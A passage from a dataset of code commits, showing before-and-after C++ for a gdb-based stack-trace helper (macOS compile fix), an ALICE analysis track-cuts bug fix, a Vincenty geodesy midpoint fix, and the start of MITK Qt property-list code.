fork();\n\n\t\/\/ child:\n\tif (!childPid) {\n\n\t\tLOG_ALL(tracelog) << \"[child] waiting for parent process to allow attaching\" << std::endl;\n\n\t\t\/\/ close writing end of barrier pipe\n\t\tclose(barrierfds[1]);\n\n\t\t\/\/ wait until parent closes barrier pipe\n\t\tchar buf[1];\n\t\twhile (read(barrierfds[0], buf, sizeof(buf)) > 0)\n\t\t\tLOG_ALL(tracelog) << \"[child] \" << buf[0] << std::endl;\n\n\t\tLOG_ALL(tracelog) << \"[child] parent process closed barrier pipe, preparing gdb invocation\" << std::endl;\n\n\t\t\/\/ close barrier pipe\n\t\tclose(barrierfds[0]);\n\n\t\t\/\/ close reading end of output pipe\n\t\tclose(pipefds[0]);\n\n\t\t\/\/ redirect stdout and stderr to output pipe\n\t\tdup2(pipefds[1], 1);\n\t\tdup2(pipefds[1], 2);\n\n\t\t\/\/ close writing end of pipe (_we_ don't need it any longer)\n\t\tclose(pipefds[1]);\n\n\t\t\/\/ start gdb\n\t\texeclp(\"gdb\", \"gdb\", \"--batch\", \"-n\", \"-ex\", \"bt full\", programName.c_str(), pid.c_str(), NULL);\n\n\t\/\/ parent:\n\t} else {\n\n\t\tLOG_ALL(tracelog) << \"[parent] allowing child to attach\" << std::endl;\n\n\t\t\/\/ allow our child process to attach\n\t\tprctl(PR_SET_PTRACER, childPid, 0, 0, 0);\n\n\t\tLOG_ALL(tracelog) << \"[parent] closing barrier pipe\" << std::endl;\n\n\t\t\/\/ close barrier pipe to let child proceed\n\t\tclose(barrierfds[0]);\n\t\tclose(barrierfds[1]);\n\n\t\tLOG_ALL(tracelog) << \"[parent] barrier pipe closed\" << std::endl;\n\n\t\t\/\/ close the write end of pipe\n\t\tclose(pipefds[1]);\n\n\t\t\/\/ capture child's output\n\t\tstd::string output;\n\n\t\t\/\/ read the whole output of gdb\n\t\tchar buf[1];\n\t\tsize_t n;\n\t\twhile ((n = read(pipefds[0], buf, sizeof(buf))))\n\t\t\toutput += std::string(buf, n);\n\n\t\tLOG_ALL(tracelog) << \"[parent] end of pipe; I read: \" << std::endl << output << std::endl;\n\n\t\t\/\/ split it at newline characters\n\t\tstd::stringstream oss(output);\n\t\tstd::string line;\n\n\t\t\/\/ ignore every line until '#0 ...'\n\t\twhile (std::getline(oss, line) && (line.size() < 2 || (line[0] != '#' && line[1] != '0')));\n\n\t\t\/\/ copy remaining lines to stack trace\n\t\tdo {\n\n\t\t\tif (line.size() > 0 && line[0] != '\\n')\n\t\t\t\t_stack_trace.push_back(std::string(\"\\t[trace] \") + line);\n\n\t\t} while (std::getline(oss, line));\n\n\t\t\/\/ wait for the child to finish\n\t\twaitpid(childPid, NULL, 0);\n\t}\n\n#endif \/\/ SYSTEM_UNIX\n\n\treturn;\n}\n\nconst std::vector<std::string>&\nstack_trace_::get_stack_trace() const {\n\n\treturn _stack_trace;\n}\n\nconst std::string&\nstack_trace_::get_program_name() {\n\n\tif (_program_name == \"\")\n\t\tinitialise_program_name();\n\n\treturn _program_name;\n}\n\nstd::string\nstack_trace_::get_pid() {\n\n#ifdef SYSTEM_UNIX\n\treturn boost::lexical_cast<std::string>(getpid());\n#else\n\treturn \"unknown\";\n#endif\n}\n\nvoid\nstack_trace_::initialise_program_name() {\n\n#ifdef SYSTEM_UNIX\n\tchar link[1024];\n\tchar name[1024];\n\n\tsnprintf(link, sizeof link, \"\/proc\/%d\/exe\", getpid());\n\n\tint size = readlink(link, name, sizeof link);\n\tif (size == -1) {\n\n\t\t_program_name = \"[program name not found]\";\n\t\treturn;\n\t}\n\n\tfor (int i = 0; i < size; i++)\n\t\t_program_name += name[i];\n#endif\n}\n\nvoid handleException(const boost::exception& e, std::ostream& out) {\n\n\tout << std::endl;\n\tout << \"caught exception\" << std::endl << std::endl;\n\n\tif (boost::get_error_info<stack_trace>(e)) {\n\n\t\tout << \"###############\" << std::endl;\n\t\tout << \"# STACK TRACE #\" << std::endl;\n\t\tout << \"###############\" << std::endl;\n\t\tout << std::endl << std::endl;\n\t\tout << *boost::get_error_info<stack_trace>(e);\n\t\tout << std::endl << std::endl;\n\t}\n\n\tout << \"#####################\" << std::endl;\n\tout << \"# EXCEPTION SUMMARY #\" << std::endl;\n\tout << \"#####################\" << std::endl;\n\tout << std::endl << std::endl;\n\n\tout << \"exception type:\" << std::endl << std::endl << \"\\t\" << typeName(e) << std::endl << std::endl;\n\n\tif (boost::get_error_info<boost::throw_function>(e)) {\n\n\t\tout << \"throw location:\" << std::endl << std::endl;\n\t\tout << \"\\t\" << *boost::get_error_info<boost::throw_function>(e) << std::endl;\n\n\t\tif (boost::get_error_info<boost::throw_file>(e)) {\n\n\t\t\tout << \"\\tin \" << *boost::get_error_info<boost::throw_file>(e);\n\t\t\tif (boost::get_error_info<boost::throw_line>(e))\n\t\t\t\tout << \"(\" << *boost::get_error_info<boost::throw_line>(e) << \")\";\n\t\t}\n\n\t\tout << std::endl;\n\t}\n\n\tif (boost::get_error_info<error_message>(e)) {\n\n\t\tout << std::endl << \"error message:\" << std::endl << std::endl;;\n\t\tout << \"\\t\" << *boost::get_error_info<error_message>(e);\n\t\tout << std::endl << std::endl;\n\t}\n}\n\nstd::ostream& operator<<(std::ostream& out, const stack_trace_& trace) {\n\n\tfor (unsigned int i = 0; i < trace.get_stack_trace().size(); i++)\n\t\tout << trace.get_stack_trace()[i] << std::endl;\n\n\treturn out;\n}\n<commit_msg>Compile fix for MAC<commit_after>#include <config.h>\n#if defined(SYSTEM_UNIX) && !defined(SYSTEM_MAC)\n#include <sys\/prctl.h>\n#include <sys\/wait.h>\n#endif\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"typename.h\"\n#include \"Logger.h\"\n#include \"demangle.h\"\n#include \"exceptions.h\"\n\nlogger::LogChannel tracelog(\"tracelog\", \"[trace] \");\n\nstack_trace_::stack_trace_() {\n\n#if defined(SYSTEM_UNIX) && !defined(SYSTEM_MAC)\n\tstd::string programName = get_program_name();\n\tstd::string pid = get_pid();\n\n\t_stack_trace.push_back(std::string(\"\\t[trace] back trace for \") + programName + \" (\" + pid + \"):\");\n\n\t\/\/ create a pipe to read gdb's output\n\tint pipefds[2];\n\tint res = pipe(pipefds);\n\tif (res < 0)\n\t\treturn;\n\n\t\/\/ create a pipe to be used as a barrier\n\tint barrierfds[2];\n\tres = pipe(barrierfds);\n\tif (res < 0)\n\t\treturn;\n\n\t\/\/ fork\n\tint childPid = fork();\n\n\t\/\/ child:\n\tif (!childPid) {\n\n\t\tLOG_ALL(tracelog) << \"[child] waiting for parent process to allow attaching\" << std::endl;\n\n\t\t\/\/ close writing end of barrier pipe\n\t\tclose(barrierfds[1]);\n\n\t\t\/\/ wait until parent closes barrier pipe\n\t\tchar buf[1];\n\t\twhile (read(barrierfds[0], buf, sizeof(buf)) > 0)\n\t\t\tLOG_ALL(tracelog) << \"[child] \" << buf[0] << std::endl;\n\n\t\tLOG_ALL(tracelog) << \"[child] parent process closed barrier pipe, preparing gdb invocation\" << std::endl;\n\n\t\t\/\/ close barrier pipe\n\t\tclose(barrierfds[0]);\n\n\t\t\/\/ close reading end of output pipe\n\t\tclose(pipefds[0]);\n\n\t\t\/\/ redirect stdout and stderr to output pipe\n\t\tdup2(pipefds[1], 1);\n\t\tdup2(pipefds[1], 2);\n\n\t\t\/\/ close writing end of pipe (_we_ don't need it any longer)\n\t\tclose(pipefds[1]);\n\n\t\t\/\/ start gdb\n\t\texeclp(\"gdb\", \"gdb\", \"--batch\", \"-n\", \"-ex\", \"bt full\", programName.c_str(), pid.c_str(), NULL);\n\n\t\/\/ parent:\n\t} else {\n\n\t\tLOG_ALL(tracelog) << \"[parent] allowing child to attach\" << std::endl;\n\n\t\t\/\/ allow our child process to attach\n\t\tprctl(PR_SET_PTRACER, childPid, 0, 0, 0);\n\n\t\tLOG_ALL(tracelog) << \"[parent] closing barrier pipe\" << std::endl;\n\n\t\t\/\/ close barrier pipe to let child proceed\n\t\tclose(barrierfds[0]);\n\t\tclose(barrierfds[1]);\n\n\t\tLOG_ALL(tracelog) << \"[parent] barrier pipe closed\" << std::endl;\n\n\t\t\/\/ close the write end of pipe\n\t\tclose(pipefds[1]);\n\n\t\t\/\/ capture child's output\n\t\tstd::string output;\n\n\t\t\/\/ read the whole output of gdb\n\t\tchar buf[1];\n\t\tsize_t n;\n\t\twhile ((n = read(pipefds[0], buf, sizeof(buf))))\n\t\t\toutput += std::string(buf, n);\n\n\t\tLOG_ALL(tracelog) << \"[parent] end of pipe; I read: \" << std::endl << output << std::endl;\n\n\t\t\/\/ split it at newline characters\n\t\tstd::stringstream oss(output);\n\t\tstd::string line;\n\n\t\t\/\/ ignore every line until '#0 ...'\n\t\twhile (std::getline(oss, line) && (line.size() < 2 || (line[0] != '#' && line[1] != '0')));\n\n\t\t\/\/ copy remaining lines to stack trace\n\t\tdo {\n\n\t\t\tif (line.size() > 0 && line[0] != '\\n')\n\t\t\t\t_stack_trace.push_back(std::string(\"\\t[trace] \") + line);\n\n\t\t} while (std::getline(oss, line));\n\n\t\t\/\/ wait for the child to finish\n\t\twaitpid(childPid, NULL, 0);\n\t}\n\n#endif \/\/ SYSTEM_UNIX && !SYSTEM_MAC\n\n\treturn;\n}\n\nconst std::vector<std::string>&\nstack_trace_::get_stack_trace() const {\n\n\treturn _stack_trace;\n}\n\nconst std::string&\nstack_trace_::get_program_name() {\n\n\tif (_program_name == \"\")\n\t\tinitialise_program_name();\n\n\treturn _program_name;\n}\n\nstd::string\nstack_trace_::get_pid() {\n\n#if defined(SYSTEM_UNIX) && !defined(SYSTEM_MAC)\n\treturn boost::lexical_cast<std::string>(getpid());\n#else\n\treturn \"unknown\";\n#endif\n}\n\nvoid\nstack_trace_::initialise_program_name() {\n\n#if defined(SYSTEM_UNIX) && !defined(SYSTEM_MAC)\n\tchar link[1024];\n\tchar name[1024];\n\n\tsnprintf(link, sizeof link, \"\/proc\/%d\/exe\", getpid());\n\n\tint size = readlink(link, name, sizeof link);\n\tif (size == -1) {\n\n\t\t_program_name = \"[program name not found]\";\n\t\treturn;\n\t}\n\n\tfor (int i = 0; i < size; i++)\n\t\t_program_name += name[i];\n#endif\n}\n\nvoid handleException(const boost::exception& e, std::ostream& out) {\n\n\tout << std::endl;\n\tout << \"caught exception\" << std::endl << std::endl;\n\n\tif (boost::get_error_info<stack_trace>(e)) {\n\n\t\tout << \"###############\" << std::endl;\n\t\tout << \"# STACK TRACE #\" << std::endl;\n\t\tout << \"###############\" << std::endl;\n\t\tout << std::endl << std::endl;\n\t\tout << *boost::get_error_info<stack_trace>(e);\n\t\tout << std::endl << std::endl;\n\t}\n\n\tout << \"#####################\" << std::endl;\n\tout << \"# EXCEPTION SUMMARY #\" << std::endl;\n\tout << \"#####################\" << std::endl;\n\tout << std::endl << std::endl;\n\n\tout << \"exception type:\" << std::endl << std::endl << \"\\t\" << typeName(e) << std::endl << std::endl;\n\n\tif (boost::get_error_info<boost::throw_function>(e)) {\n\n\t\tout << \"throw location:\" << std::endl << std::endl;\n\t\tout << \"\\t\" << *boost::get_error_info<boost::throw_function>(e) << std::endl;\n\n\t\tif (boost::get_error_info<boost::throw_file>(e)) {\n\n\t\t\tout << \"\\tin \" << *boost::get_error_info<boost::throw_file>(e);\n\t\t\tif (boost::get_error_info<boost::throw_line>(e))\n\t\t\t\tout << \"(\" << *boost::get_error_info<boost::throw_line>(e) << \")\";\n\t\t}\n\n\t\tout << std::endl;\n\t}\n\n\tif (boost::get_error_info<error_message>(e)) {\n\n\t\tout << std::endl << \"error message:\" << std::endl << std::endl;;\n\t\tout << \"\\t\" << *boost::get_error_info<error_message>(e);\n\t\tout << std::endl << std::endl;\n\t}\n}\n\nstd::ostream& operator<<(std::ostream& out, const stack_trace_& trace) {\n\n\tfor (unsigned int i = 0; i < trace.get_stack_trace().size(); i++)\n\t\tout << trace.get_stack_trace()[i] << std::endl;\n\n\treturn out;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/DEFINITION OF A FEW CONSTANTS\n\nAliPWG4HighPtQAMC* AddTaskPWG4HighPtQAMC()\n{\n \/\/ Creates HighPtQAMC analysis task and adds it to the analysis manager.\n \n \/\/ A. Get the pointer to the existing analysis manager via the static access method.\n \/\/==============================================================================\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n Error(\"AddTaskPWG4HighPtQMC\", \"No analysis manager to connect to.\");\n return NULL;\n } \n\n \/\/ B. Check the analysis type using the event handlers connected to the analysis\n \/\/ manager. The availability of MC handler can also be checked here.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler()) {\n ::Error(\"AddPWG4TaskHighPtQAMC\", \"This task requires an input event handler\");\n return NULL;\n } \n TString type = mgr->GetInputEventHandler()->GetDataType(); \/\/ can be \"ESD\" or \"AOD\"\n const char *analysisType = \"ESD\";\/\/\"TPC\"\n\n \/\/ C. Create the task, add it to manager.\n \/\/===========================================================================\n \n \/\/CREATE THE CUTS -----------------------------------------------\n \/\/Use AliESDtrackCuts\n AliESDtrackCuts *trackCuts = new AliESDtrackCuts(\"AliESDtrackCuts\",\"Standard Cuts\");\n \/\/Standard Cuts\n trackCuts=trackCuts->GetStandardITSTPCTrackCuts2009(kTRUE);\/\/Primary Track Selection\n trackCuts->SetEtaRange(-0.9,0.9);\n trackCuts->SetPtRange(0.15, 1e10);\n trackCuts->SetRequireITSRefit(kFALSE);\n \n AliESDtrackCuts *trackCutsITS = new AliESDtrackCuts(\"AliESDtrackCuts\",\"Standard Cuts with ITSrefit\");\n \/\/Standard Cuts\n trackCuts=trackCuts->GetStandardITSTPCTrackCuts2009(kTRUE);\/\/Primary Track Selection\n trackCuts->SetEtaRange(-0.9,0.9);\n trackCuts->SetPtRange(0.15, 1e10);\n trackCuts->SetRequireITSRefit(kTRUE);\n\n \/\/Create the task\n AliPWG4HighPtQAMC *taskPWG4QAMC = new AliPWG4HighPtQAMC(\"AliPWG4HighPtQAMC\");\n taskPWG4QAMC->SetCuts(trackCuts);\n taskPWG4QAMC->SetCutsITS(trackCutsITS);\n \n \n \/\/ E. Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n\n \/\/------ input data ------\n \/\/ AliAnalysisDataContainer *cinput0 = mgr->GetCommonInputContainer();\n printf(\"Create output containers \\n\");\n TString outputfile = AliAnalysisManager::GetCommonFileName();\n outputfile += \":PWG4_HighPtQAMC\"; \n \/\/char *outputfile = \"outputAliPWG4HighPtQAMCTestTrain.root\";\n AliAnalysisDataContainer *cout_hist0 = mgr->CreateContainer(\"qa_histsMC\", TList::Class(), AliAnalysisManager::kOutputContainer,outputfile);\n AliAnalysisDataContainer *cout_hist2 = mgr->CreateContainer(\"qa_histsMCITS\", TList::Class(), AliAnalysisManager::kOutputContainer,outputfile); \n\n mgr->AddTask(taskPWG4QAMC);\n mgr->ConnectInput(taskPWG4QAMC,0,mgr->GetCommonInputContainer());\n mgr->ConnectOutput(taskPWG4QAMC,0,cout_hist0);\n mgr->ConnectOutput(taskPWG4QAMC,1,cout_hist2);\n\n \/\/ Return task pointer at the end\n return taskPWG4QAMC;\n}\n<commit_msg>bug fix in definition of track cuts (Marta)<commit_after>\/\/DEFINITION OF A FEW CONSTANTS\n\nAliPWG4HighPtQAMC* AddTaskPWG4HighPtQAMC()\n{\n \/\/ Creates HighPtQAMC analysis task and adds it to the analysis manager.\n \n \/\/ A. Get the pointer to the existing analysis manager via the static access method.\n \/\/==============================================================================\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n Error(\"AddTaskPWG4HighPtQMC\", \"No analysis manager to connect to.\");\n return NULL;\n } \n\n \/\/ B. Check the analysis type using the event handlers connected to the analysis\n \/\/ manager. The availability of MC handler can also be checked here.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler()) {\n ::Error(\"AddPWG4TaskHighPtQAMC\", \"This task requires an input event handler\");\n return NULL;\n } \n TString type = mgr->GetInputEventHandler()->GetDataType(); \/\/ can be \"ESD\" or \"AOD\"\n const char *analysisType = \"ESD\";\/\/\"TPC\"\n\n \/\/ C. Create the task, add it to manager.\n \/\/===========================================================================\n \n \/\/CREATE THE CUTS -----------------------------------------------\n \/\/Use AliESDtrackCuts\n AliESDtrackCuts *trackCuts = new AliESDtrackCuts(\"AliESDtrackCuts\",\"Standard Cuts\");\n \/\/Standard Cuts\n trackCuts=trackCuts->GetStandardITSTPCTrackCuts2009(kTRUE);\/\/Primary Track Selection\n trackCuts->SetEtaRange(-0.9,0.9);\n trackCuts->SetPtRange(0.15, 1e10);\n trackCuts->SetRequireITSRefit(kFALSE);\n \n AliESDtrackCuts *trackCutsITS = new AliESDtrackCuts(\"AliESDtrackCuts\",\"Standard Cuts with ITSrefit\");\n \/\/Standard Cuts\n trackCutsITS=trackCuts->GetStandardITSTPCTrackCuts2009(kTRUE);\/\/Primary Track Selection\n trackCutsITS->SetEtaRange(-0.9,0.9);\n trackCutsITS->SetPtRange(0.15, 1e10);\n trackCutsITS->SetRequireITSRefit(kTRUE);\n\n \/\/Create the task\n AliPWG4HighPtQAMC *taskPWG4QAMC = new AliPWG4HighPtQAMC(\"AliPWG4HighPtQAMC\");\n taskPWG4QAMC->SetCuts(trackCuts);\n taskPWG4QAMC->SetCutsITS(trackCutsITS);\n \n \n \/\/ E. Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n\n \/\/------ input data ------\n \/\/ AliAnalysisDataContainer *cinput0 = mgr->GetCommonInputContainer();\n printf(\"Create output containers \\n\");\n TString outputfile = AliAnalysisManager::GetCommonFileName();\n outputfile += \":PWG4_HighPtQAMC\"; \n \/\/char *outputfile = \"outputAliPWG4HighPtQAMCTestTrain.root\";\n AliAnalysisDataContainer *cout_hist0 = mgr->CreateContainer(\"qa_histsMC\", TList::Class(), AliAnalysisManager::kOutputContainer,outputfile);\n AliAnalysisDataContainer *cout_hist2 = mgr->CreateContainer(\"qa_histsMCITS\", TList::Class(), AliAnalysisManager::kOutputContainer,outputfile); \n\n mgr->AddTask(taskPWG4QAMC);\n mgr->ConnectInput(taskPWG4QAMC,0,mgr->GetCommonInputContainer());\n mgr->ConnectOutput(taskPWG4QAMC,0,cout_hist0);\n mgr->ConnectOutput(taskPWG4QAMC,1,cout_hist2);\n\n \/\/ Return task pointer at the end\n return taskPWG4QAMC;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ -*- mode:c++; tab-width:2; indent-tabs-mode:nil; c-basic-offset:2; -*-\n\n\/*\n Copyright (C) 2009, Anders Ronnbrant - andro@lysator.liu.se\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n You should have received a copy of the FreeBSD license, if not see:\n <http:\/\/www.freebsd.org\/copyright\/freebsd-license.html>.\n*\/\n\n#include \"vincenty.h\"\n\n#include <iomanip>\n\nnamespace vincenty\n{\n\/\/ Geographical position\n\/\/ ------------------------------------------------------------------------\n\n\/\/! Constructor, defaults latitude and longitude to zero (0).\nvposition::vposition()\n : coords()\n{\n coords.a[0] = 0;\n coords.a[1] = 0;\n}\n\n\/\/! Constructor taking two doubles for initialization.\nvposition::vposition( double _lat, double _lon )\n : coords()\n{\n coords.a[0] = _lat;\n coords.a[1] = _lon;\n}\n\n\n\/\/! Integer degrees from float radian.\nint vposition::deg( const double rad )\n{\n return int( to_deg(rad) );\n}\n\n\/\/! Extracts integer minutes from float radian.\nint vposition::min( const double rad )\n{\n return int( ( degf(rad) - deg(rad) ) * 60 );\n}\n\n\/\/! Extracts integer seconds from float radian.\nint vposition::sec( const double rad )\n{\n return int( ( minf(rad) - min(rad) ) * 60 );\n}\n\n\n\/\/! Converts radians to degrees.\ndouble vposition::degf( const double rad )\n{\n return to_deg(rad);\n}\n\n\/\/! Extracts decimal part minutes from float radian.\ndouble vposition::minf( const double rad )\n{\n return ( degf(rad) - deg(rad) ) * 60;\n}\n\n\/\/! Extracts decimal part seconds from float radian.\ndouble vposition::secf( const double rad )\n{\n return ( minf(rad) - min(rad) ) * 60;\n}\n\n\n\/\/ Operators for vposition.\nbool operator==( const vposition& lhs, const vposition& rhs )\n{\n if ( ulpcmp(lhs.coords.a[0], rhs.coords.a[0]) &&\n ulpcmp(lhs.coords.a[1], rhs.coords.a[1]) ) {\n return true;\n } else {\n return false;\n }\n}\n\nvposition vposition::operator+( const vdirection& rhs ) const\n{\n return direct((*this),rhs);\n}\n\nvposition vposition::operator-( const vdirection& rhs ) const\n{\n return direct((*this),rhs.bearing2,rhs.distance);\n}\n\nvdirection vposition::operator-( const vposition& rhs ) const\n{\n return inverse(rhs,(*this));\n}\n\nvposition vposition::operator^( const vposition& rhs ) const\n{\n vdirection d = (*this) - rhs;\n return direct((*this),d.bearing1,d.distance\/2.0);\n}\n\n\/\/ Geographical direction\n\/\/ ------------------------------------------------------------------------\n\n\/\/! Constructor, defaults bearings and distance to 0 (zero).\nvdirection::vdirection()\n : bearing1(0), distance(0), bearing2(0)\n{\n}\n\n\/*!\n * Constructor taking three doubles for initialization.\n *\n * !!OBS!! This constructor allows for invalid settings. I.e. the two bearings\n * combined with the distance might not always be a possible solution for any\n * two points on the geoid.\n *\n * @param _bearing1 The bearing for the direction.\n * @param _distance The distance to travel in the current bearing.\n * @param _bearing2 The reversed bearing for the direction.\n *\/\nvdirection::vdirection( double _bearing1, double _distance, double _bearing2 )\n : bearing1(_bearing1), distance(_distance), bearing2(_bearing2)\n{\n}\n\n\n\/\/ Operators for vdirection.\nbool operator==( const vdirection& lhs, const vdirection& rhs )\n{\n if ( ulpcmp(lhs.bearing1, rhs.bearing1) &&\n ulpcmp(lhs.distance, rhs.distance) ) {\n return true;\n } else {\n return false;\n }\n}\n\nvdirection vdirection::operator\/( const double rhs ) const\n{\n return vdirection((*this).bearing1,(*this).distance\/rhs);\n}\n\nvdirection vdirection::operator*( const double rhs ) const\n{\n return vdirection((*this).bearing1,(*this).distance*rhs);\n}\n\n} \/\/ namespace end\n<commit_msg> Wrong bearing used for middle point operator.<commit_after>\/\/ -*- mode:c++; tab-width:2; indent-tabs-mode:nil; c-basic-offset:2; -*-\n\n\/*\n Copyright (C) 2009, Anders Ronnbrant - andro@lysator.liu.se\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n You should have received a copy of the FreeBSD license, if not see:\n <http:\/\/www.freebsd.org\/copyright\/freebsd-license.html>.\n*\/\n\n#include \"vincenty.h\"\n\n#include <iomanip>\n\nnamespace vincenty\n{\n\/\/ Geographical position\n\/\/ ------------------------------------------------------------------------\n\n\/\/! Constructor, defaults latitude and longitude to zero (0).\nvposition::vposition()\n : coords()\n{\n coords.a[0] = 0;\n coords.a[1] = 0;\n}\n\n\/\/! Constructor taking two doubles for initialization.\nvposition::vposition( double _lat, double _lon )\n : coords()\n{\n coords.a[0] = _lat;\n coords.a[1] = _lon;\n}\n\n\n\/\/! Integer degrees from float radian.\nint vposition::deg( const double rad )\n{\n return int( to_deg(rad) );\n}\n\n\/\/! Extracts integer minutes from float radian.\nint vposition::min( const double rad )\n{\n return int( ( degf(rad) - deg(rad) ) * 60 );\n}\n\n\/\/! Extracts integer seconds from float radian.\nint vposition::sec( const double rad )\n{\n return int( ( minf(rad) - min(rad) ) * 60 );\n}\n\n\n\/\/! Converts radians to degrees.\ndouble vposition::degf( const double rad )\n{\n return to_deg(rad);\n}\n\n\/\/! Extracts decimal part minutes from float radian.\ndouble vposition::minf( const double rad )\n{\n return ( degf(rad) - deg(rad) ) * 60;\n}\n\n\/\/! Extracts decimal part seconds from float radian.\ndouble vposition::secf( const double rad )\n{\n return ( minf(rad) - min(rad) ) * 60;\n}\n\n\n\/\/ Operators for vposition.\nbool operator==( const vposition& lhs, const vposition& rhs )\n{\n if ( ulpcmp(lhs.coords.a[0], rhs.coords.a[0]) &&\n ulpcmp(lhs.coords.a[1], rhs.coords.a[1]) ) {\n return true;\n } else {\n return false;\n }\n}\n\nvposition vposition::operator+( const vdirection& rhs ) const\n{\n return direct((*this),rhs);\n}\n\nvposition vposition::operator-( const vdirection& rhs ) const\n{\n return direct((*this),rhs.bearing2,rhs.distance);\n}\n\nvdirection vposition::operator-( const vposition& rhs ) const\n{\n return inverse(rhs,(*this));\n}\n\nvposition vposition::operator^( const vposition& rhs ) const\n{\n vdirection d = inverse(rhs,(*this));\n return direct((*this),d.bearing2,d.distance\/2.0);\n}\n\n\/\/ Geographical direction\n\/\/ ------------------------------------------------------------------------\n\n\/\/! Constructor, defaults bearings and distance to 0 (zero).\nvdirection::vdirection()\n : bearing1(0), distance(0), bearing2(0)\n{\n}\n\n\/*!\n * Constructor taking three doubles for initialization.\n *\n * !!OBS!! This constructor allows for invalid settings. I.e. the two bearings\n * combined with the distance might not always be a possible solution for any\n * two points on the geoid.\n *\n * @param _bearing1 The bearing for the direction.\n * @param _distance The distance to travel in the current bearing.\n * @param _bearing2 The reversed bearing for the direction.\n *\/\nvdirection::vdirection( double _bearing1, double _distance, double _bearing2 )\n : bearing1(_bearing1), distance(_distance), bearing2(_bearing2)\n{\n}\n\n\n\/\/ Operators for vdirection.\nbool operator==( const vdirection& lhs, const vdirection& rhs )\n{\n if ( ulpcmp(lhs.bearing1, rhs.bearing1) &&\n ulpcmp(lhs.distance, rhs.distance) ) {\n return true;\n } else {\n return false;\n }\n}\n\nvdirection vdirection::operator\/( const double rhs ) const\n{\n return vdirection((*this).bearing1,(*this).distance\/rhs);\n}\n\nvdirection vdirection::operator*( const double rhs ) const\n{\n return vdirection((*this).bearing1,(*this).distance*rhs);\n}\n\n} \/\/ namespace end\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n \nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n \n=========================================================================*\/\n\/\/ Qmitk related includes\n#include \"QmitkPropertyListViewItem.h\"\n#include \"QmitkPropertyListViewItemFactory.h\"\n#include \"QmitkMaterialEditor.h\"\n\n\/\/ mitk related includes\n#include \"mitkConfig.h\"\n#include \"mitkRenderWindow.h\"\n#include \"mitkPropertyList.h\"\n#include \"mitkProperties.h\"\n#include \"mitkColorProperty.h\"\n#include \"mitkPropertyManager.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkEnumerationProperty.h\"\n#include \"mitkMaterialProperty.h\"\n\n\n\/\/ QT related includes\n#include <qcheckbox.h>\n#include <qlineedit.h>\n#include <qlabel.h>\n#include <qpushbutton.h>\n#include <qpixmap.h>\n#include <qcolordialog.h>\n#include <qvalidator.h>\n#include <qhbox.h>\n#include <qslider.h>\n#include <qcombobox.h>\n\n#include \"enabled.xpm\"\n#include \"disabled.xpm\"\n\n\nQmitkPropertyListViewItem::QmitkPropertyListViewItem(std::string name, mitk::PropertyList* propertyList, QWidget* parent, bool createOnlyControl) \n : m_Name(name), m_PropertyList(propertyList), m_Label(NULL), m_Control(NULL)\n{\n if (!createOnlyControl)\n {\n CreateEnabledButton(parent);\n m_Label = new QLabel(name.c_str(),parent);\n m_Label->show();\n }\n};\n\n\nvoid QmitkPropertyListViewItem::CreateEnabledButton(QWidget* parent)\n{\n m_EnabledButton = new QPushButton(parent);\n connect(\n (QObject*)(m_EnabledButton),\n SIGNAL(clicked()),\n (QObject*)(this),\n SLOT(EnabledButtonClicked())\n );\n m_EnabledButton->show();\n UpdateEnabledView();\n}\n\n\nQmitkPropertyListViewItem* QmitkPropertyListViewItem::CreateInstance(mitk::PropertyList *propList, const std::string name, QWidget* parent, bool createOnlyControl)\n{\n return QmitkPropertyListViewItemFactory::GetInstance()->CreateQmitkPropertyListViewItem(propList,name,parent,createOnlyControl);\n}\n\n\nvoid QmitkPropertyListViewItem::CheckBoxControlActivated(bool on)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::BoolProperty(on));\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::StringControlActivated(const QString &text)\n{\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::StringProperty(text.ascii()));\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::FloatControlActivated(const QString &text)\n{\n if (((QLineEdit*)m_Control)->hasAcceptableInput())\n {\n m_Control->setPaletteForegroundColor(Qt::black);\n float value = text.toFloat();\n mitk::FloatProperty* floatProp = dynamic_cast<mitk::FloatProperty*>(m_PropertyList->GetProperty(m_Name.c_str()).GetPointer());\n if (value != floatProp->GetValue())\n {\n m_PropertyList->SetProperty(m_Name.c_str(), new mitk::FloatProperty(value));\n }\n }\n else\n {\n m_Control->setPaletteForegroundColor(Qt::red);\n }\n mitk::RenderingManager::GetInstance()->RequestUpdateAll();\n}\n\n\nvoid QmitkPropertyListViewItem::IntControlActivated(const QString &text)\n{\n if 